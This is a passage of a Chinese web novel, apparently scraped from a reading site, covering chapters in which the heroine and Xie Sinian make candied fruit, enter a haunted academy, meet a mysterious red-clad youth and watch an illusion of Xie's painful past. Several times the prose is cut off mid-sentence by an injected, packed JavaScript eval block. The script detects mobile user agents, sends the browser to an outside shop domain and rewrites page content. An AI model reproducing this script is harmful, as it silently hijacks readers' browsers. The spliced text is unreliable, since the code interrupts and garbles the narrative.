谢斯年在院子里面无聊的捉蛐蛐拔杂草,周春和三步两步走过去,和他并排蹲下:“谢斯年,拔狗尾巴草多无趣啊,你想不想和我玩一个既好玩又好吃的东西?” 谢斯年高高的马尾垂下来,在逐渐西落的阳光底下显得异常青春洋溢:“什么东西?” 周春和神秘一笑,本来还想卖卖关子,但是自己还是忍不住说了出来:“白日里我去厨房的时候,看见了厨房里还有一袋糖,刚刚阿姐去买菜的时候,我央着阿姐帮我买了草莓山楂和葡萄,你想不想和我一起做糖葫芦?” 谢斯年一怔:“糖葫芦?” 周春和一双眼睛亮晶晶的,激动道:“是呀是呀,糖葫芦,我之前就自己做过,非常好吃!你想不想和我一起做?” 少年自然是想的,但是嘴里却不愿意这么直接的答应:“那东西黏糊糊的,有什么好做的。” 周春和早已看穿他掩饰之下的好奇,干脆直接站起来,拽着他的手道:“就当是帮我做了,走吧走吧,反正呆着也是无聊。” 傅怀玉一个人在房间里不知道做什么,周春和怕打扰他也没敲门。周夏莲则和裴瑾一直在准备符纸。整个小院里就只有谢斯年和周春和无所事事。 ——其实一开始谢斯年也想着支开裴瑾自己和周夏莲一起画符的,但是周夏莲只当他又犯了小孩子脾气,不痛不痒的说了几句话就把人打发了。 谢斯年知道她不相信自己,毕竟在周夏莲眼里,他只是一个稍有天赋的弟弟罢了,自然是不如裴瑾更让人放心。 谢斯年不能说出自己有妖力这件事,便只能忍着恨意看两人相亲相爱。 他被周春和强硬的拽进厨房之后,又被周春和塞了两篮水果:“你把这些拿出去……”说着又眼尖的捞起糖罐子放进篮子里面,“我拿锅,咱们一会就在空地上起锅熬糖。” 这院子倒是挺大,在角落里堆一个柴火堆绰绰有余。周春和之前虽然做过这个糖葫芦,但也是用的煤气灶,还从来没有自己动手堆过柴禾。 她院子里倒是有现成的树枝,但是得自己动手劈柴。 她捡了几根树枝放在地上,又拿来一把斧子。 被周春和支使着洗好水果回来的谢斯年一眼就看见了她拿着斧子对着碟子那么粗的树墩比划。 比划了半天也没砍下去。 察觉到有人靠近,周春和抬头一看,看见了是谢斯年,脸上立刻露出笑容:“你来了?来得正好,过来把柴劈了吧。” “别的不见长,指使人倒是越来越熟练了。” “嘿嘿,你是能者,能者多劳嘛。” “那你呢?” “我?我是死者,死者为大。” “……” 谢斯年似乎有些不悦:“说话不知道避谶么?拍一拍木头。” 周春和撇了撇嘴,显然是没当作一回事,但还是照做了。 其实不止周春和没做过砍柴烧火这些事,谢斯年也同样没做过。 所以接过周春和手里的斧子时,他明显有些犹疑。 等站到周春和刚刚的位置——也就是树墩前面时,谢斯年也像刚刚的周春和一样束手束脚起来。 他抬起斧子,试探般的砍了下去。但这一下砍的有点歪,树墩直接被震了出去。 周春和毫不客气的捧腹大笑:“哈哈哈哈哈你行不行啊谢斯年?我闭着眼都砍得比你好!” 少年耳朵染上一抹绯红,又气又恼的把斧子搁下了:“那你来!” 周春和不服气的“哼”了一声:“我来就我来,有什么了不起的?” 她走上去,撸了撸袖子便弯腰把树墩扶起来,然后操起斧子就劈了下去。 ——谁知道周春和这一下连树墩都没碰着,还把斧头给甩了出去。 握着仅剩的木把手的周春和脸上缓缓冒出一个问号:“……?” 这对吗? 就见一边谢斯年脸上的笑容掩都掩不住,他靠在墙上,挑起一边的眉毛,语调显得得意洋洋:“‘我闭着眼都砍得比你好’,嗯?” 周春和本来还有些恼羞成怒的意味,但是看见谢斯年的表情之后,她原本就不多的怒火倏然熄灭了。 只见谢斯年十分放松的靠在墙壁上,马尾甩在身后,迎着落日环抱双臂,一双眼睛熠熠生辉。 就像是一个小孩子,在看到同伴在游戏比赛中不如自己于是便藏不住的得意和自豪。 他脸上的表情混着得意和嘲讽,这正是一个少年人该有的鲜活气息。 现在的谢斯年仿佛褪去了阴翳黑暗的一面,和那些最普通的少年也没什么区别了。 他鲜少有这样直白的一面。 周春和本来还有些恼怒,不过看到谢斯年的表情,再一联想到他之前的经历,便立刻一点火气也没了。 她自己去把飞出去的斧头捡起来,比划着插回了木棍上。为防止斧头再次滑下来,她还特地塞了一层布增加摩擦力。 周春和道:“刚刚其实只是为了热热身,给你展示了一下我最近新发明的擒拿术,并没有想砍柴。这一下才是认真的了。” 说着她扎了个马步,气沉丹田大喝一声,将斧子狠狠的劈了下去。 这次斧头虽然没飞出去,但是树墩却劈歪了。 谢斯年在一旁好整以暇的看着她,用的依然是那副混合着嘲讽和似笑非笑的表情。 周春和抹了抹头上并不存在的汗,认命的把斧子递给了谢斯年:“挺好玩的,要不你来试试?” 谢斯年知道她这是新鲜感过去不想玩了,也没说什么,顺从的将斧子接了过来。 周春和见谢斯年真接了斧子,于是格外好说话,不用谢斯年开口,自己主动拿来了一个新的树墩放下。 谢斯年比划了一下,却没有立刻急着砍。而是露出一种带着捉弄人笑容和周春和说:“我想到了一个好办法,可以让我每次砍都正好砍到中间。” 周春和眼睛一亮,还真以为他有什么好办法:“什么办法?” 谢斯年眼睛里捉弄人的笑意简直要隐藏不住:“你过来点。” 周春和愣愣的照做。 谢斯年道:“蹲下。” 周春和继续照做。 谢斯年终于忍不住露出一个粲然的笑:“用手扶着树墩,这样我砍下去就绝对不会砍歪了。” 周春和:“……” 怎么,她很像傻子么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576621|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这下树墩确实是不会歪,但她人可就要歪了。 可恶!第一,她不是傻子,而是周春和,第二,中间忘了,后面也忘了,最后,要是能打得过,她一定要找机会把谢斯年打成猪头。 周春和皮笑肉不笑的说:“我虽然不太聪明,但你也别太过分了。” 谢斯年终于忍不住大笑出声。 两个人闹了半天,最后只砍了一小堆参差不齐的柴禾。 柴禾有了,接下来就是把洗干净的水果穿到干净的竹签上。因为周春和心里有气,故意把难穿的水果全堆在了谢斯年那里。 谢斯年捉弄完她之后显然是心情不错,对她推过来的水果竟也没拒绝,一个个游刃有余的穿上了。 然后就是架锅熬糖,把锅架起来之后,其余的就简单多了。 周春和把裙摆系在一起,又用头巾把头发丝全包裹住,然后信心满满的开始熬糖。 这一步周春和就比较有经验了,她吩咐谢斯年烧火,自己是不是搅动一下锅里的糖浆。 等糖浆熬成黄褐色就差不多了。接下就是用刚刚穿好的水果蘸一下糖浆,然后再甩到干净的石板上。 周春和自己给谢斯年示范了一遍,少年第一次做,难免有些不太到位。但他也没问,只是一个人在一边暗暗的观察周春和的手法,然后记住要领,等第二遍时便已经能有样学样做的很不错了。 两个人忙活了半天,终于把十几串各式各样的小糖葫芦全部弄好。 周春和满意的看着自己的作品,自言自语道:“一会给阿姐裴哥哥和傅怀玉他们送去,一共十二串,这样的话每人两串。阿姐和裴哥哥劳苦功高,他们每人各多加一串……” 这话若是在前几天被谢斯年听到,他肯定又要不爽。但今日或许是玩闹了一番心情不错,他竟然也没说什么。甚至在周春和让他分给周夏莲和裴瑾时,他也依言照做了。 周春和从里面挑出比较好看的两串去敲了傅怀玉的门。 隔了很久,傅怀玉才从里面打开了。 见到周春和,眼睛里便含上了笑意:“你怎么来了?” 周春和献宝似的把两串糖葫芦递给他:“我自己做的,快尝尝好不好吃。” 傅怀玉看着那两串大小不一的糖葫芦笑了:“好啊,多谢。” 周春和笑眯眯道:“不客气。你一个人在房间做什么呢?怎么半天了也没一点动静?” 不像是周夏莲和裴瑾,两个人虽说也是在房间里面画符,但周春和还是能隐隐约约听见实验咒符时传出来的细微声音。 傅怀玉微不可察的停顿了一下,很快便又带上了笑意,自然的回答:“昨夜没睡好,于是刚刚便又休息了一会儿。” 周春和没看见傅怀玉眼底闪过的不知名情绪,也没多想,还觉得是自己打扰了傅怀玉,“哦”了一声便说:“既然如此,那你快继续休息吧。我说你眼下怎么看着都一团乌青了,原来是休息不好的缘故。今晚一定要早点睡呀,明日又是一场硬仗要打呢。” 听着女孩絮絮叨叨的声音,傅怀玉只是专注的看着她,嘴边携着一丝笑意。 周春和说完了,这才意犹未尽的和他说了再见,关门离开了。 16. 白庄 晚上是周夏莲和裴瑾做的饭,谢斯年强行插进去给两个人烧火,周春和则去了后院和已经离开房间的傅怀玉聊天。 吃完饭后,大家为了养足精神气,都早早的就睡觉了。 第二日,周春和没能睡到日上三竿便被人叫起,她迷迷瞪瞪的洗漱吃饭,跟着周夏莲他们一道去了学堂。 学堂建在白庄中央,依山傍水的,是白庄最好的一个位置。 被小童领进去之后,大家才知道原来这学堂还挺大,周春和粗略估算了一下,起码得占了一千亩地左右,几乎和现实世界里的大学差不多大小。 不过周春和仔细观察了一下,有些地方那墙壁还很新,显然是后来又扩建的。 学堂是对称建造的,坐北朝南,几乎全是三进院落,依着中轴线依次排开。讲堂、书房、藏书楼等地应有尽有。 除了建筑之外,亭台楼榭花草树木也不少,周春和置身其中,恍惚有种春游踏青的感觉。 小童带他们七拐八拐的来到了一间看起来古色古香的房子前面,让他们先在外面稍后片刻,自己则匆忙跑了进去。没一会儿他就又出来了,朝他们鞠了一躬,道:“夫子让你们现在进去。” 小童说完便跑走了,几个人面面相觑,最后由裴瑾打头,依次往讲堂里面去了。 刚刚几个人在外面不曾听见一点声音,还以为讲堂里面没人,可是进去之后才发现里面竟然坐了满满当当的人,只不过期间没人说话,甚至连咳嗽一声也没有,这么多人安静的连针掉在地上的声音都清晰可闻。 听见有人进来,这些学生齐刷刷的回头看他们,但每个人的脸上都没有表情,并且保持着统一的动作,看的人头皮发麻。 周春和躲在所有人后面悄悄往里探了探头,又立刻心有戚戚的缩了回来。 过了两秒,又忍不住探了出来。 周春和的视线扫过表情木木的学生们,最后在一个人脸上定格。 这个人和其他学生不同,没穿他们统一的蓝色衣裳,反而穿了一身红色,在人群中分外显眼。 他的脸看起来很年轻,似乎比谢斯年还要年轻一些,朝气蓬勃的脸上带着明媚笑意,正翘着二郎腿,手里转着一根毛笔。 周春和有些奇怪,这少年是谁?为什么会出现在这里?他看起来如此鲜活,和其他学生完全不同,以至于让人觉得完全不应该出现在这里。 谢斯年显然也发现了,他站在周夏莲身边,和那少年对视后,脸上的神色不知为何显得晦暗不明。 夫子正在讲台上,见他们进来,便朝他们招招手示意他们靠近。 眼前这位并不是那位孔夫子,但几个人也没有掉以轻心,谨慎的听完他讲话,然后才在夫子的示意下各自找了最后面的位子坐下。 恰好周春和坐在了那红衣少年身边,她有些好奇的偷偷观察那少年,谁知正好对上少年看过来的视线。 他饶有兴致的转了下手中的毛笔,对周春和露出一个明朗的笑。 周春和顿时来了兴趣,刚想凑过去和那少年说说话,台上夫子冷峻的声音就响了起来:“上课之后,各位便不要再交头接耳,更不要随意扭头微笑,只准看书写字,违者……” 他顿了顿,更加冷淡的说:“各打十大板。” 周春和缩了缩脖子,立刻不敢再说话了。 好在这节课很快就过去了,下了课之后,夫子便先拿着教案和戒尺离开。周春和本以为大家终于可以放松一下,谁知道一转头,不仅没有嬉笑打闹,甚至连说话的都没有一个。 那些学生像是听不见下课声响,依然一个个坐在自己的位置上死死的看着自己面前的书。 周春和有些咋舌,这下终于切身体会到了之前那些人说这些学生学习学傻了是什么意思。 讲堂里面没人说话,周春和也有些不敢说话了,心里还在想这些学生是经历了什么才成了现在这副模样。 看来这学堂果真不是个简单的地方,想要解救这些学生,他们必须得赶紧找到那怪物的弱点,最好是能将其一击毙命。 不过从始至终那怪物还没露过脸,周春和一时半会儿的都想不到那怪物会以什么样的形象出现。 也不知道那怪物是如何吸食学生们的精气的,至少到现在,周春和也没感觉到一点不舒服。 她还从来没有过被怪物吸□□气的经历,一时间还真是好奇大过恐惧,有些想知道这到底是什么滋味了。 不过话又说回来,那怪物为什么还没有过来对他们下手,难不成这事儿也要讲究个天时地利人和? 正当周春和胡思乱想时,一道少年感十足的声音在她左侧响了起来:“你们看着不像是普通人,来这里做什么?” 周春和扭头一看,果然是那个一身红衣似火的少年。 少年好奇她的来历,她同样也好奇少年的身份:“你又是谁?来这里做什么?” 那少年微微一笑,毫不隐瞒:“我嘛,我自然是来求学的学生,早就听闻这白庄学堂名满天下,今日一见果然名不虚传。你们呢,也是来求学的学生?” 周春和一怔,心说此人真是有病啊,这不是明知山有虎偏往虎山行么? 不过又想到昨日听那两人闲谈的话,又猜测这少年说不定是被他那愚昧无知的父母强按进来的,便又觉得他挺惨。 她道:“你不知道这学堂的事么?这学堂被那妖物入侵,如今亦非安全之地。你如今贸然闯进来,说不定会被那妖怪吸食了精气,到时候难以脱身。” 她以为少年听后会感到恐惧,最好是焦急的问她该怎么办,这样周春和就能装作过来人的样子劝他赶紧离开。 可是少年听后像是得了什么趣味般一笑,脸上丝毫不见慌张神色,甚至带着些游刃有余般的笑意:“哦,那又如何呢?” 周春和听后有些讶然,这才第一次好好的打量起少年来。 不过这一看不要紧,周春和发现这少年长得竟然还算不赖。他很年轻,顶多也就十五左右,脸庞干干净净,一双和谢斯年如出一辙的桃花眼,嘴唇时时刻刻弯着,周身是藏不住的少年感。 说来奇怪,这少年明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576622|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有如傅怀玉一般温润如玉的气质,但眼神却藏着一丝邪气,平白破坏了这副好模样。 少年有种玩世不恭的飞扬感,似乎对什么都不害怕,对什么都不放在心里。 周春和忍不住对少年多了几分好奇:“你叫什么?” 那少年很快回答:“霄无缺。” 周春和问:“你不问问我叫什么么?” “没必要,”那少年很快笑了一声,视线没在周春和身上停留,“你我今后见面的日子怕是没多少。” 周春和撇撇嘴:“那又如何,起码现在咱们还在见面。我叫周春和,春天的春,和乐的和,出自岳阳楼记。你刚刚说‘那又如何’,怎么,你是猎妖人,所以不害怕?” 原著中根本没有提及霄无缺,周春和不禁感到奇怪,是她之前某些小小的举动间接改变了后面的大段剧情吗?还是她甚至连这一部分都没有仔细看,所以才根本不记得有这号人物? 虽然周春和之前经常在看完小说之后连男女主叫什么都说不上来,但是她还是莫名信任自己的记忆力。 霄无缺很快道:“我并不是猎妖人,之所以不害怕……”他轻笑一声,语气淡然,“大约是不觉得有什么可怕的吧。” 看来这少年不禁模样好看,而且自负的可怕。 周春和知趣的不再问类似的问题,转而又问:“你为何穿的和他们不一样?” 那少年觉得兴致缺缺,脸上的笑意也不见了:“自然是因为我不想这么穿。” 周春和觉得十分怪异,但具体怪异在哪里她一时半会儿又说不上来。 霄无缺嗤的一笑,抬了抬下巴,用眼神示意周春和:“你们不也和那些学生穿的不一样么。” 周春和下意识地看了一眼自己的衣服,这衣服就是她带来的那件,和学堂里那些学生穿的确实不一样。 今日那夫子确实没提这件事,也许是觉得他们初来乍到的,没必要一上来就使用雷霆手段。 一直留心听二人说话的周夏莲忍不住说道:“公子看起来十分活泼,似乎和其他死气沉沉的学生不大一样。” 霄无缺朝她露出一个有些天真但眼底深处饱含邪气的笑:“诸位看起来也同样和那些死气沉沉的学生不一样。不过就是不知道这副模样还能保持多久,那我便先预祝大家保持的久一点吧。” 周夏莲和裴瑾对视一眼,彼此眼底都写满了疑惑。 不知道为什么,这少年的话总给人一种很怪异的感觉。 坐在离霄无缺最远的位置的谢斯年在暗处盯着那少年的脸看了半晌,心底忽然涌上一股说不清道不明的烦躁情绪。 这股感觉来的莫名其妙,就连他自己也说不清是为什么,就好像两个人是旧相识,还是不死不休的那种旧相识。 但这也说不通,少年看起来不大,按照年龄算,他应该和他没什么交集。更别提是什么深仇大恨的旧识。 而且就算两个人之间真有什么,谢斯年不会对这个人一点印象也没有。 他注视着少年的一举一动,眉宇间的疑惑更深。 17. 白庄 一堂课下课之后便到了自由休息时间,但讲堂里的学生没有一个动的,全都在自己位置上呆滞的看书。 看他们那模样,真就和失了魂魄的木偶人没什么区别。 周春和看的直咋舌,实在是想不出来这镇纸怪用了什么才把人变成这样。 不过想到此处她又觉得有些奇怪,那怪物怎么迟迟不来对付他们? 他们在进来之前便商议好了采取“敌不动我不动”的策略,现在怪物一直没有动手,他们自然也不好先做什么。 座钟叮叮当当的响了几下,到了中午吃饭的时候。 几人跟着鱼贯而出的学生来到了吃饭的房间,房间里面燃着香,周春和嘀咕了一声真讲究,立刻就去看了看菜色,然后把嘴巴一撇,不是很满意。 菜色是三菜一汤,种类倒是不少,但是各个都清淡的让人不敢恭维。 一个是小葱拌豆腐,一个是清蒸鱼,还有一个清炒菜心。 放眼望去一片青白,根本看不见一件辣椒的鲜艳。 周春和看的垂头丧气,心说功夫全都花在没有的地方上了,又是燃香又是点烟的,光整这些花里胡哨的,重要的饭菜却这么差劲。 吃完饭还有人帮他们倒了一杯水,周春和端起来还没喝就先闻见扑鼻的茶香。 她不仅诧异道:“好香的茶,这是什么茶? 周围人摇摇头,显然也都觉得茶香四溢,但都说不上来是什么名字。 裴瑾道:“饶是我走南闯北,也从未闻见过这般香味的茶。” 周春和想了想,周夏莲和谢斯年不曾出过巫山谷太远的地方,是以应该也不知道。便略过两个人问傅怀玉道:“你可曾见过这种茶?” 傅怀玉温和的摇摇头:“倒是很熟悉,只是一时半会儿的想不起来了。不过这茶应该不常见,至少在姑苏不曾听说过有这种茶。” 周春和还以为傅怀玉喜欢奇花异草,应该会了解一些,现下看来他似乎也不是很清楚。 周春和看向自己的茶碗,那碧青的颜色实在是讨人喜欢,不禁叹了口气,只叹为什么是在这个时候发现了这杯好茶。 细细品味着喝完之后,周春和依依不舍的放下了茶杯。 谁知他们刚放下没多久,霄无缺忽然就推门进来了。 霄无缺似乎并不是来吃饭的,他身段轻盈的越过板凳坐在几人对面,右手撑着下巴,双眼含笑看着周春和:“吃完了么?一会儿一起出去吧。” 周春和二丈摸不着头脑,心道这少年真是变脸如翻书,阴晴不定的性格和谢斯年真是有一拼。 她斟酌道:“你是一个人害怕么?” 那少年嗤的一笑:“随便你怎么理解。” 周春和在心里翻了个白眼,果然表情看着再和颜悦色,内里也还是这般自大。 她不冷不热的“嗯”了一声。霄无缺又很快把脸转向傅怀玉,用一种打量似的目光看着他,语气却不容置喙:“那一会咱们两个一起走。” 几个人面面相觑,一时都有些不明白这少年到底想要干什么。 不过傅怀玉倒是很快答应下来。这少年虽说说话很自负,但是他们毕竟不知道少年真正的实力,为防止少年并不如他的态度这么厉害,大家还是觉得再除掉镇纸怪之外先带着少年。这样几个人还可以互相有个照应。 这么略显草率的决定之后,很快就两两自发成对往外走。 霄无缺和傅怀玉一对,周春和极力在暗中不动声色的促使男女主一对,这样就只剩下谢斯年和她一起走了。 感受到谢斯年因为周夏莲和裴瑾在一起而变得不爽的情绪,周春和表面含笑内心流泪。 她咬着牙想,为了男女主的幸福,牺牲她一个不算什么! 病娇腹黑算什么?就是刀山火海她也闭眼冲了。 因为房间门很窄,最多只能容纳两个人一起通过,所以等落在最后的谢斯年和周春和准备出门的时候,前面先走的其他四个人早已经离开了。 两个人刚踏出房门,谢斯年便立刻察觉到了不对劲—— 前面空空如也,哪里还能看见周夏莲他们的身影。 周春和后知后觉的四处张望了一下,顿时皱起眉头:“阿姐?阿姐?傅怀玉!” 她大声呼唤了几次,但周围没有任何回音。 周春和心里逐渐涌上一种不太妙的预感,她想到了什么,动作有些慌乱的拿出周夏莲之前塞给她的传音符,可是却发现符纸怎么都点不着。 这种情况之前还从未发生过,周春和立刻转头问谢斯年知不知道这是怎么一回事。 谢斯年微不可察的皱起眉头,他试着点燃那传音符,结果和周春和一样,不过换了多少张符纸都点不燃。 那这就不是符纸的问题了。 谢斯年抬起头看了眼四周,眉头忽然皱的更深了:“我们过来的时候有这棵槐树么?” 周春和顺着谢斯年的视线看过去,看见一株槐树不知何时出现在了他们来的那条小路的路口。 这槐树看着枝繁叶茂,树干粗壮。摸约要三人合抱才能抱住这树干。 周春和心里一时也有些惊异,她记得很清楚,他们来的时候这里空空如也,别说槐树了,就连草皮都被锄的一干二净。 而且这槐树所在的位置也很怪,正正好好在路中央,完全挡住了这条小路,按常理来说这种布局就很不合理。如果来的时候真有这棵树,在这个位置两个人不可能没有任何印象。 就在两个人一脸茫然的来到树边准备摸一摸这棵大树时,一个人忽然从树后面闪了出来。 这人就像是凭空忽然出现在两个人面前,把周春和吓了一大跳。她下意识地后退了两步,站定之后才看清这个人带着面具,身量和谢斯年差不多高。 她和谢斯年对视一眼,两个人都带上了戒备。 面具人戴的面具是白底的,上面用两道恰到好处的红线弯曲成了笑咪咪眼,怎么看怎么有种诡异的感觉。 周春和心下一时惊疑不定,她皱着眉仔细回忆了两秒,小说中似乎也有类似的情节,但具体是怎么描述来着……? 周春和咽了口唾沫,故作镇定的清了清嗓子,先开了口:“敢问阁下是……?” 那面具人发出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576623|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵奇怪的桀桀桀桀桀桀怪笑,变戏法似的从树后面拖出来一张桌子和凳子,跟个法官似的坐在了桌子后面。 他捏着嗓子慢慢悠悠的说:“让我来瞧瞧你们前半生是何种颜色吧?” 周春和更加二丈摸不着头脑,何种颜色?什么颜色?和颜色有什么关系? 而且……这面具人说“你们的前半生”,那这个“你们”中的周春和是指现在的这个“周春和”还是指书中真正的那个“周春和”? 如果是书中真正的那个周春和,那这个颜色估计就是黑色,但如果是现在的这个周春和……那估计就是五颜六色。 毕竟在来之前,周春和过的那叫一个五彩斑斓五彩缤纷五颜六色。 要不是穿进这本书里,周春和现在估计已经滋滋润润的准备审判下一本书了。 可惜她穿了进来,一代喷神就此陨落。 面具人慢慢悠悠的打开了摆在前面的一本小册子,眯着眼睛看了一眼上面的字迹。 周春和和谢斯年离得近,两个人的眼又都很尖,一眼就扫完了那本子上的东西。 翻开的那一页画了好几种一眼,有黑色,灰色,粉色,绿色,橙色,红色,黄色等等颜色,每种颜色后面还有标注。 其中黑色后面写的是“苦恨”,粉色是“幸福”,灰色是“凄惨”,蓝色是“无忧”。周春和恍然大悟,她这才明白这面具人说的“你们前半生是何种颜色”这句话究竟是什么意思。 原来他是把他们的前半生用颜色做比喻,综合评价他们前半生的经历之后,再用相应的颜色进行标注。 面具人翻开了下一页,这一页上面赫然出现了谢斯年的名字和画像。 周春和的视线往下一扫,看见了谢斯年的人生颜色。 不出意料,是处于灰色和粉色的混合色。 灰色应该就是他那暗淡无光的生活,粉色则是来到巫山谷之后周夏莲等人带给他的颜色。 那面具人抬头看了一眼谢斯年,啧啧称奇道:“这竟真有灰色之人,想来你从前过的很是艰难。” 他摇了摇头,似乎颇为感叹,但是配上那张面具便显得格外滑稽和怪异。 周春和还以为下一个会轮到自己,正好奇自己会是什么颜色,就见面具人手一挥,把那册子收进了自己口袋里。 翘首以盼的周春和:“……” 敢不敢手速再快点? 那面具人滑稽的朝两人一作揖,开口便是油腔滑舌的一套:“各人有各人的缘法,需得自己体验了才算领悟。我便送你们到到此处,接下来的路你们便要自己去瞧了。” 说完带着自己的座椅板凳往树后面一闪身,人就眨眼间消失不见了。 周春和本来就一头雾水,听了这番看似无比高深实则没什么意义的话之后更是二丈摸不着头脑:“他脑子被驴舔了?” 谢斯年忍了忍,没忍住笑出声来。 两个人四处望了望,确定附近没有周夏莲和傅怀玉他们的踪迹之后便打算跟上刚刚那个面具人看看。 谁知两个人刚踏过去,周围的场景忽然发生了天翻地覆的变化。 18. 白庄 周春和惊讶的看着周围的景象在眨眼间变成了另一种模样。原本的树木房间全都消失不见了,取而代之的是一片平坦的荒原。 周春和微微皱起眉头,已经时刻准备偷摸呼唤系统寻求外援了。 随着两人的脚步,周围的景色也在发生细微的变化,这感觉就像是……就像是周围的一切在随着两个人的到来倒塌重塑。 周春和的眉头越皱越深,脸庞不自觉的绷紧。 谢斯年脸上的神色也有些晦暗不明,两个人走了一阵,忽然看见一个摸约十四五岁的少年出现在眼前。 周春和眯着眼睛看了一会儿,一直看不清少年的脸。不过看他的身形倒觉得十分熟悉,就像是……她下意识的转头看向谢斯年,觉得那少年的身形就像是和身边谢斯年的身形重合了一样。 谢斯年显然也发现了,不过他什么也没说。 等两个人离那少年足够近了,周春和才惊讶的发现那少年竟然没有脸。 怪不得她刚刚怎么都看不清少年的模样,这少年的五官模糊不清,看上去就只有一张面皮。原来不是周春和看不清,而是少年根本就没有五官。 还没等周春和惊异完,周围的场景伴随着少年的出现也逐渐显露出来,在少年前面的是一家医馆。周围是来往的行人,小贩的吆喝声和孩童的笑闹声像是雨后春笋般忽然一起出现。他们站的地方俨然是一条热闹的大街。 周春和心道,这可太牛×了,8D都达不到这种水平。 少年一步一步走到医馆旁边,他应该是受了伤,捂着一侧的手臂,没有五官的脸色惨白。 周春和下意识的想过去拍拍他的肩膀问问这到底是怎么一回事,可是手掌落下的时候,却直接穿过了少年的身体。 这原来是幻境。 周春和的这个念头后知后觉的冒出来,也是,也只有幻境能做到这一切了。她刚刚真是昏了头,连这一点也没想到。 既然如此,看样子幻境中的人看不见他们,而他们只能旁观,不能插手。只是不知道这个幻境是想让他们看见什么。 少年靠着墙壁晒了会太阳,脸色显得愈发苍白。他松开一侧的手臂,站在他旁边的周春和这才发现被他捂住的地方已经被血洇透了。 血还在滴滴答答的往下流,少年显然是受了重伤,他扶着墙壁慢吞吞走进医馆里面。 周春和赶紧扯了扯谢斯年的袖子,示意他赶紧跟上。 不知道为什么,谢斯年脸上一直没什么表情。他任由周春和将他带进医馆里面,丝毫没有反抗。 但也没有其他反应。 少年来到一个同样没有五官的郎中面前,露出自己的胳膊问他治好这伤需要多少银子。 周春和就站在少年旁边,正好能将他手臂上的伤口一览无余。 她忍不住吃了一惊。 少年胳膊上面的伤口比她想象中的还要严重很多,从手肘往下,几乎占据了小半个小臂。伤口皮肉外翻,深可见骨。而且伤口还不止一道,除了那最长的一道伤口之外,其他还有好几个零零散散的细小伤口。 那郎中看见了也吃了一惊,大概是从未见过如此重的伤:“哎呀,你这是怎么搞的?这伤也太严重了些,起码得好几十天才能养好。” 那少年又问了一遍:“那要花多少金叶子?” 金叶子是这里通用的货币,这点周春和还是知道的。 那郎中道:“你这伤实在是太重了,除了外敷的药,还需要用些内服的药才能好的更快……我瞧瞧,摸约得六个金叶子才行。” 少年没有五官,是以也看不出是什么表情。但一边的周春和莫名能感觉到他似乎有一瞬间的犹豫。 片刻后,少年道:“那算了。” 说着便放下袖子往外走,那郎中急了,连忙上前拦住了少年:“你这伤口太重了,若是不及时处理那腐肉怕是会引起感染发炎,到时候很有可能整条手臂都保不住。这伤口越快处理越好,否则后果不堪设想啊。” 那少年的语气依然很淡:“可我没钱。” 郎中道:“这样吧,我只收你五个金叶子,只收一个成本钱……只是你这胳膊再不去处理可就真的来不及了……” 少年摇了摇头:“五个我也拿不出来。” 他推开郎中,自己一个人离开了。 周春和跟着他一路往外走,从热闹繁华的大街走向一条荒凉寂静的小径。 然后再往里走,最后在一片乱葬岗停下来了。 周春和随着少年一同走进乱葬岗附近的茅草小屋里,屋中的陈设十分简陋,除了一张床一把桌子之外,几乎就没有其他东西了。 少年从墙上摘下一把小刀,又去外面打了盆水,然后用符咒点起一堆火柴,将小刀放在火上烤热了,然后往嘴里塞了一块布,单手卷起了自己的袖子。 周春和已经猜到了少年的要做什么,但是在看到少年抬起手臂将刀对准自己的胳膊挥下去时,她还是下意识的伸手想要阻止少年的动作。 但她的手不出所料的穿过了少年的身体,而少年依然按照自己原本的打算用刀子搁下了自己的一块腐肉。 周春和眼皮一条,被鲜红刺到般别开了脸。 少年还在继续,他死死咬着口中的布,额头上冒出大滴大滴的汗水,但是一点声音也没有发出来。 他就这么一点点的,亲手搁下了自己胳膊上的所有腐肉。有的腐肉深入内里,少年隔开皮肉时甚至能清楚的看见自己的骨头。 这种血腥的场面带来的冲击力不是一星半点儿,周春和胃里翻江倒海,也像是被割了肉似的脸色惨白。 周春和想象不出这个过程会有多么的痛苦,但她已经不忍心再看下去。 弄完这一切之后,少年的脸色已经苍白如纸,地上和盆子里早已被鲜血染红。 少年瘫坐在椅子上,缓了好一会儿才有力气坐直身体。 周春和不敢低头盯着少年身上被血水濡湿的衣服看,便回头看谢斯年。却见谢斯年脸上依然没什么表情。 他只是安静的看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 